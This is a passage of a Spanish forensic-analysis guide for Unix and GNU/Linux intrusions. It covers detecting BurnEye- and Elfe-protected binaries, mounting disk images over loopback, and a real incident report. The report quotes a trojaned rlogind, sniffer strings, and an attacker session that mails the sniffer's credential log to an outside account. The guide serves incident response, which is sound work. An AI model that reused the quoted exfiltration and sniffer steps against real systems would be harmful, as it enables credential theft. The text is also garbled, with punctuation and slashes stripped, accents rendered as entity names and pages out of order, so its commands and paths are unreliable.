[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 29: Análisis Forense de Sistemas GNU/Linux, Unix

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

